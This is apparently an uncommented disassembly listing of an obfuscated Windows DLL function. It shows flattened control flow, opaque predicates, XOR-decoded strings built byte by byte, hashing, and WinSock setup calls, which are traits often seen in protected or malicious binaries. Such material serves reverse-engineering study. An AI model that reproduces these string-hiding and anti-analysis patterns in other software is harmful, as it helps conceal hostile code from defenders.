mov byte [rax + 3], cl
mov eax, 0xd875f188
jmp 0x180067d40
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 2], cl
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
cmp edx, 0x424d75d7
je 0x180068510
cmp edx, 0x8e7cd9ae
jne 0x1800684a0
mov ecx, 0xf253d7a4
nop word cs:[rax + rax]
nop
cmp ecx, 0xf253d7a4
je 0x1800684d2
cmp ecx, 0xcb19b41
jne 0x1800684c0
jmp 0x1800684d9
mov ecx, 0xcb19b41
jmp 0x1800684c0
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x64
mov edx, 0x424d75d7
jmp 0x1800684a0
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x278], rax
mov byte [rbp + 0x250], 0x6c
mov eax, dword [0x180129c18]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fd02911
cmove eax, r9d
cmp dword [0x180129c1c], 0xa
cmovl eax, r9d
jmp 0x180067d40
cmp eax, 0x83ad097b
jne 0x180067d40
mov rcx, qword [rbp + 0xf8]
sub rsp, 0x20
call fcn.180092520
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x180068610
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x180068680
cmp edx, 0x333d8297
jle 0x1800686d0
cmp edx, 0x5cca55f4
jg 0x18006874a
cmp edx, 0x333d8298
je 0x18006880d
cmp edx, 0x33ec62ab
je 0x180068826
cmp edx, 0x42d422e5
jne 0x180068610
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180068610
cmp edx, 0xc5fd57a7
jle 0x180068710
cmp edx, 0xeb000b68
jg 0x18006877a
cmp edx, 0xc5fd57a8
je 0x180068837
cmp edx, 0xd1e81d16
je 0x180068846
cmp edx, 0xd597d4ff
jne 0x180068610
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180068610
cmp edx, 0x12a1b9d7
jle 0x1800687ac
cmp edx, 0x12a1b9d8
je 0x18006885f
cmp edx, 0x181b9de8
je 0x18006886e
cmp edx, 0x28ad3f39
jne 0x180068610
mov edx, 0x73f80f82
jmp 0x180068610
cmp edx, 0xb163ad29
jle 0x1800687de
cmp edx, 0xb163ad2a
je 0x18006889e
cmp edx, 0xb9d33223
je 0x1800688cb
cmp edx, 0xbb6ed30e
jne 0x180068610
mov edx, 0x12a1b9d8
jmp 0x180068610
cmp edx, 0x5cca55f5
je 0x1800688dc
cmp edx, 0x7343bfbc
je 0x1800685c5
cmp edx, 0x73f80f82
jne 0x180068610
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180068610
cmp edx, 0xeb000b69
je 0x1800688f5
cmp edx, 0xfb306983
jne 0x18006896c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180068610
cmp edx, 0xfe90a09c
je 0x180068920
cmp edx, 0x1dd0b01
jne 0x180068610
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180068610
cmp edx, 0x87cbc1a8
je 0x180068952
cmp edx, 0x9302de66
jne 0x180068610
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180068610
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180068610
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180068610
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180068610
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180068610
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180068610
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180068610
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180068610
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180068610
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180068610
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180068610
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180068610
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180068610
cmp edx, 0xf6d6bd87
jne 0x180068610
mov rax, qword [rbp + 0x278]
mov qword [rbp - 0x80], rax
mov eax, 0x82935040
jmp 0x18005ef80
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop word cs:[rax + rax]
nop
cmp edx, 0xb7da92c8
je 0x180068ded
cmp edx, 0x67afa13d
jne 0x1800689b0
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x1800689b0
movzx ecx, word [rbp + 0x248]
add ecx, 3
xor ecx, 0x6f
mov word [rbp + 0x238], cx
mov edx, 0xb4545841
cmp edx, 0xd92c44cf
jle 0x180068a20
cmp edx, 0x235eb7a1
jg 0x180068a90
cmp edx, 0xd92c44d0
je 0x180068ad3
cmp edx, 0xe7e00f30
jne 0x1800689f0
jmp 0x180068ed2
cmp edx, 0xb4545841
je 0x180068ae4
cmp edx, 0xb88b26f9
je 0x180068b38
cmp edx, 0xcf72ecbe
jne 0x1800689f0
mov rdx, qword [rbp + 0x270]
mov ebx, dword [0x180129c20]
lea edi, [rbx - 1]
imul edi, ebx
add rdx, 0xe
and edi, 1
sete bl
cmp dword [0x180129c24], 0xa
mov qword [rbp + 0x248], rdx
setl dl
xor dil, dl
and bl, dl
xor bl, dil
mov edx, 0xd92c44d0
mov ebx, 0x235eb7a2
cmovne edx, ebx
jmp 0x1800689f0
cmp edx, 0x235eb7a2
je 0x180068b5a
cmp edx, 0x7b6aed83
jne 0x1800689f0
mov edx, dword [0x180129c20]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x235eb7a2
mov ebx, 0xcf72ecbe
cmove edx, ebx
cmp dword [0x180129c24], 0xa
cmovl edx, ebx
jmp 0x1800689f0
mov edx, 0xb88b26f9
mov rcx, qword [rbp + 0x260]
jmp 0x1800689f0
mov rdx, qword [rbp + 0x250]
movzx ebx, word [rbp + 0x238]
mov word [rdx], bx
mov rdx, qword [rbp + 0x250]
mov qword [rbp + 0x278], rax
mov ebx, 0xce195e6f
nop dword [rax + rax]
cmp ebx, 0xfa6b2617
je 0x180068b6b
cmp ebx, 0xce195e6f
jne 0x180068b10
mov rbx, qword [rbp + 0x278]
movzx ebx, word [rbx]
mov word [rbp + 0x268], bx
mov ebx, 0xfa6b2617
jmp 0x180068b10
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x248]
mov edx, 0xb88b26f9
mov ebx, 0xe7e00f30
cmove edx, ebx
jmp 0x1800689f0
mov rdx, qword [rbp + 0x270]
mov edx, 0xcf72ecbe
jmp 0x1800689f0
movzx ebx, word [rbp + 0x268]
add ebx, 4
xor ebx, 0x72
mov word [rdx + 2], bx
add rdx, 4
mov qword [rbp + 0x260], rdx
mov edx, 0x7b6aed83
jmp 0x1800689f0
mov dword [rbp + 0x278], edx
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov byte [rcx + 2], dl
mov dword [rbp + 0x248], 0x65
mov edx, 0x423f0e31
nop word cs:[rax + rax]
nop
cmp edx, 0x423f0e31
je 0x180068bd5
cmp edx, 0x3f505f3e
jne 0x180068bc0
jmp 0x180068f19
mov edx, 0x3f505f3e
jmp 0x180068bc0
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
add cl, 0x54
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x248], rax
mov dword [rbp + 0x278], 3
mov ecx, 0x551dceed
nop dword [rax + rax]
cmp ecx, 0x1badd59c
je 0x180068f62
cmp ecx, 0x551dceed
jne 0x180068c10
mov eax, dword [rbp + 0x278]
mov ecx, 0x1badd59c
jmp 0x180068c10
mov rax, qword [rbp + 0x278]
movzx ecx, word [rbp + 0x270]
mov word [rax], cx
mov rax, qword [rbp + 0x278]
mov edx, 0xca464dc6
nop
cmp edx, 0x9bc96918
je 0x180069046
cmp edx, 0xca464dc6
jne 0x180068c50
mov ecx, 0xa03b8c2a
nop dword [rax]
cmp ecx, 0xa03b8c2a
je 0x180068c82
cmp ecx, 0xf339a4f2
jne 0x180068c70
jmp 0x180068c89
mov ecx, 0xf339a4f2
jmp 0x180068c70
mov word [rbp + 0x260], 7
movzx ecx, word [rbp + 0x260]
mov edx, 0x9bc96918
jmp 0x180068c50
mov dword [rbp + 0x248], 0x74
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop word [rax + rax]
cmp ebx, 0x47d1636d
je 0x180069254
cmp ebx, 0x1f14b4ef
jne 0x180068cc0
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x180068cc0
mov dword [rbp + 0x250], ebx
mov eax, dword [rbp + 0x250]
mov word [r8 + 4], ax
mov word [r8 + 6], 0
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.180091f60
add rsp, 0x20
mov rcx, qword [rbp - 0x70]
mov r9d, dword [rbp + 0x94]
sub rsp, 0x20
mov edx, 2
mov r8, rax
call fcn.1800ca6e0
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0xb4], eax
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov eax, 0xda73398f
mov dword [rbp + 0x1f0], 1
jmp 0x18005ef80
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 2], dl
mov dword [rbp + 0x248], 0x69
mov edx, 0xf31fe6b
nop dword [rax]
cmp edx, 0xf31fe6b
je 0x180068d95
cmp edx, 0x8e4f2f87
jne 0x180068d80
jmp 0x18006929c
mov edx, 0x8e4f2f87
jmp 0x180068d80
add ebx, 2
mov rcx, qword [rbp + 0x140]
sub rsp, 0x20
call fcn.180091450
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 2
mov r8, rax
mov r9d, ebx
call fcn.1800ca6e0
add rsp, 0x20
mov dword [rbp + 0x98], eax
mov rax, qword [rbp + 0x30]
mov eax, 0xddd76b9a
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 1], cl
mov dword [rbp + 0x270], WSAStartup
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x180068e70
cmp ecx, 0xaff5b1c6
je 0x180068e91
cmp ecx, 0x51b33e4e
je 0x180068eb8
cmp ecx, 0x611fa820
jne 0x180068e40
jmp 0x1800692e7
cmp ecx, 0x8ceba71e
je 0x180068ebc
cmp ecx, 0x97144bdb
jne 0x180068e40
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x180068e40
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180068e40
mov ecx, edx
jmp 0x180068e40
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x180068e40
mov rcx, qword [rbp + 0x190]
sub rsp, 0x20
call fcn.18008f4c0
mov rcx, rax
call fcn.180108668
add rsp, 0x20
add eax, eax
mov dword [rbp + 0xa0], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, 0x40dd0980
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
mov dl, byte [rdx]
mov byte [rbp + 0x260], dl
mov ebx, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp ebx, 0x25d84f40
je 0x180069327
cmp ebx, 0xf903eb77
jne 0x180068f40
movsx edx, byte [rbp + 0x260]
mov ebx, 0x25d84f40
jmp 0x180068f40
mov byte [rbp + 0x260], al
mov al, byte [rbp + 0x260]
add al, 0x65
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov eax, 0x4aa1a238
mov cl, byte [rbp + 0x270]
nop word cs:[rax + rax]
nop
cmp eax, 0x630b4eaa
je 0x18006937c
cmp eax, 0x4aa1a238
jne 0x180068f90
mov rax, qword [rbp + 0x248]
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop dword [rax + rax]
cmp edx, 0x1badd59c
je 0x180068fdd
cmp edx, 0x551dceed
jne 0x180068fc0
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x180068fc0
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x6d
mov byte [rax + 1], cl
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop
cmp edx, 0x1badd59c
je 0x18006901d
cmp edx, 0x551dceed
jne 0x180069000
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x180069000
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x70
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp + 0x278], rax
mov eax, 0x630b4eaa
mov cl, 0x50
jmp 0x180068f90
mov dword [rbp + 0x260], WSAStartup
mov word [rbp + 0x250], cx
movzx ecx, word [rbp + 0x250]
mov edx, dword [rbp + 0x260]
add dx, cx
mov word [rax + 2], dx
mov word [rax + 4], 0
mov rax, qword [rbp + 0x118]
mov edx, 0x26292762
jmp 0x1800690c0
mov dword [rbp + 0x268], ecx
mov word [rbp + 0x238], 7
movzx ecx, word [rbp + 0x238]
mov edx, dword [rbp + 0x268]
sub dx, cx
mov rcx, qword [rbp + 0x248]
mov word [rcx], dx
mov rcx, qword [rbp + 0x278]
add rcx, 1
mov edx, 0xed104e21
nop dword [rax + rax]
cmp edx, 0x3b5e0b11
jle 0x180069100
cmp edx, 0x64944124
jle 0x180069140
cmp edx, 0x64944125
je 0x1800691ab
cmp edx, 0x7526f6bc
jne 0x180069206
mov qword [rbp + 0x270], rax
mov edx, 0x64944125
jmp 0x1800690c0
cmp edx, 0x26292761
jg 0x180069170
cmp edx, 0x941c3904
je 0x1800691c3
cmp edx, 0xed104e21
jne 0x1800690c0
mov qword [rbp + 0x278], rcx
mov rdx, qword [rbp + 0x278]
cmp rdx, 5
mov edx, 0x7526f6bc
cmovb edx, edi
jmp 0x1800690c0
cmp edx, 0x3b5e0b12
je 0x1800691cf
cmp edx, 0x647fd959
jne 0x1800690c0
mov qword [rbp + 0x260], rax
mov edx, 0x325ffa54
jmp 0x1800690c0
cmp edx, 0x26292762
je 0x1800691fc
cmp edx, 0x325ffa54
jne 0x1800690c0
mov rdx, qword [rbp + 0x260]
mov rbx, qword [rbp + 0x278]
lea rdx, [rdx + rbx*2]
mov qword [rbp + 0x248], rdx
mov edx, 0x3b5e0b12
jmp 0x1800690c0
mov rdx, qword [rbp + 0x270]
mov qword [rbp + 0x250], rdx
mov edx, 0x74d39bfe
jmp 0x1800690c0
mov edx, 0xed104e21
xor ecx, ecx
jmp 0x1800690c0
mov rcx, qword [rbp + 0x248]
movzx ecx, word [rcx]
mov edx, 0xe770e187
nop
cmp edx, 0xe770e187
je 0x1800691f5
cmp edx, 0xe1f43f19
jne 0x1800691e0
jmp 0x18006907f
mov edx, 0xe1f43f19
jmp 0x1800691e0
mov edx, 0x941c3904
jmp 0x1800690c0
cmp edx, 0x74d39bfe
jne 0x1800690c0
mov rcx, qword [rbp + 0x250]
sub rsp, 0x20
call fcn.180108668
add rsp, 0x20
add eax, eax
add eax, 2
mov dword [rbp + 0x94], eax
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov eax, 0xcea0b461
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 2
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 3], bl
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop
cmp edx, 0xbf0a975f
je 0x180069295
cmp edx, 0x86611407
jne 0x180069280
jmp 0x1800693c1
mov edx, 0x86611407
jmp 0x180069280
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x180069403
cmp ebx, 0x9ecf9227
jne 0x1800692c0
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x1800692c0
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop
cmp edx, 0xb7da92c8
je 0x18006944c
cmp edx, 0x67afa13d
jne 0x180069300
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x180069300
mov dword [rbp + 0x278], edx
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rbp + 0x250], rcx
mov dword [rbp + 0x248], 0x61
mov ecx, 0x423f0e31
nop word cs:[rax + rax]
cmp ecx, 0x423f0e31
je 0x180069375
cmp ecx, 0x3f505f3e
jne 0x180069360
jmp 0x180069532
mov ecx, 0x3f505f3e
jmp 0x180069360
mov byte [rbp + 0x270], cl
mov al, byte [rbp + 0x270]
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop word [rax + rax]
cmp edx, 0x1badd59c
je 0x180069572
cmp edx, 0x551dceed
jne 0x1800693a0
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x1800693a0
mov dword [rbp + 0x248], 0x46
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop dword [rax + rax]
cmp ebx, 0x47d1636d
je 0x1800695c1
cmp ebx, 0x1f14b4ef
jne 0x1800693e0
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x1800693e0
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 3], dl
mov dword [rbp + 0x248], 0x74
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf31fe6b
je 0x180069445
cmp edx, 0x8e4f2f87
jne 0x180069430
jmp 0x18006960c
mov edx, 0x8e4f2f87
jmp 0x180069430
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 2], cl
mov dword [rbp + 0x270], 0x65
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop word [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x1800694d0
cmp ecx, 0xaff5b1c6
je 0x1800694f1
cmp ecx, 0x51b33e4e
je 0x180069518
cmp ecx, 0x611fa820
jne 0x1800694a0
jmp 0x180069657
cmp ecx, 0x8ceba71e
je 0x18006951c
cmp ecx, 0x97144bdb
jne 0x1800694a0
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x1800694a0
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x1800694a0
mov ecx, edx
jmp 0x1800694a0
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x1800694a0
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x278]
mov cl, byte [rcx]
mov byte [rbp + 0x260], cl
mov edx, 0xf903eb77
nop dword [rax]
cmp edx, 0x25d84f40
je 0x180069697
cmp edx, 0xf903eb77
jne 0x180069550
movsx ecx, byte [rbp + 0x260]
mov edx, 0x25d84f40
jmp 0x180069550
mov byte [rbp + 0x250], cl
add al, byte [rbp + 0x250]
mov rcx, qword [rbp + 0x278]
mov byte [rcx], al
mov rax, qword [rbp + 0x278]
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop dword [rax]
cmp edx, 0x1badd59c
je 0x180069cff
cmp edx, 0x551dceed
jne 0x1800695a0
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x1800695a0
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 3
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 4], bl
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xbf0a975f
je 0x180069605
cmp edx, 0x86611407
jne 0x1800695f0
jmp 0x180069d41
mov edx, 0x86611407
jmp 0x1800695f0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x180069d83
cmp ebx, 0x9ecf9227
jne 0x180069630
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x180069630
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop
cmp edx, 0xb7da92c8
je 0x180069dcc
cmp edx, 0x67afa13d
jne 0x180069670
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x180069670
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x248]
xor ecx, dword [rbp + 0x278]
mov rdx, qword [rbp + 0x250]
mov byte [rdx], cl
mov edx, 0xd18749e1
nop word [rax + rax]
cmp edx, 0xefe1680e
jg 0x180069720
cmp edx, 0x9e6b6df0
je 0x180069eb2
cmp edx, 0xd18749e1
jne 0x1800696c0
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x268], 0x74
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069712
cmp ebx, 0x3f505f3e
jne 0x180069700
jmp 0x180069769
mov ebx, 0x3f505f3e
jmp 0x180069700
cmp edx, 0xefe1680f
je 0x1800697ae
cmp edx, 0xfdd85123
jne 0x1800696c0
movsx ecx, byte [rbp + 0x234]
mov dword [rbp + 0x268], ecx
mov ecx, 0x423f0e31
nop word cs:[rax + rax]
cmp ecx, 0x423f0e31
je 0x180069762
cmp ecx, 0x3f505f3e
jne 0x180069750
jmp 0x1800697ce
mov ecx, 0x3f505f3e
jmp 0x180069750
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x18006980e
cmp edi, 0xf903eb77
jne 0x180069790
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069790
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0xefe1680f
mov ebx, 0x9e6b6df0
cmove edx, ebx
jmp 0x1800696c0
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x278]
mov cl, byte [rcx]
mov byte [rbp + 0x238], cl
mov edx, 0xf903eb77
nop dword [rax]
cmp edx, 0x25d84f40
je 0x180069859
cmp edx, 0xf903eb77
jne 0x1800697f0
movsx ecx, byte [rbp + 0x238]
mov edx, 0x25d84f40
jmp 0x1800697f0
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 1], bl
mov dword [rbp + 0x268], 0x65
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069852
cmp ebx, 0x3f505f3e
jne 0x180069840
jmp 0x18006989b
mov ebx, 0x3f505f3e
jmp 0x180069840
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x268]
xor ecx, dword [rbp + 0x278]
mov rdx, qword [rbp + 0x260]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x260]
add rcx, 1
mov rdx, qword [rbp + 0x270]
add rdx, 0x10
mov qword [rbp + 0x248], rdx
mov edx, 0xefe1680f
jmp 0x1800696c0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
cmp edi, 0x25d84f40
je 0x1800698de
cmp edi, 0xf903eb77
jne 0x1800698c0
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x1800698c0
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 2], bl
mov dword [rbp + 0x268], 0x50
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069922
cmp ebx, 0x3f505f3e
jne 0x180069910
jmp 0x180069929
mov ebx, 0x3f505f3e
jmp 0x180069910
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x18006996e
cmp edi, 0xf903eb77
jne 0x180069950
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069950
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 3], bl
mov dword [rbp + 0x268], WSAStartup
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x1800699b2
cmp ebx, 0x3f505f3e
jne 0x1800699a0
jmp 0x1800699b9
mov ebx, 0x3f505f3e
jmp 0x1800699a0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x1800699fe
cmp edi, 0xf903eb77
jne 0x1800699e0
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x1800699e0
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 4], bl
mov dword [rbp + 0x268], WSAStartup
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
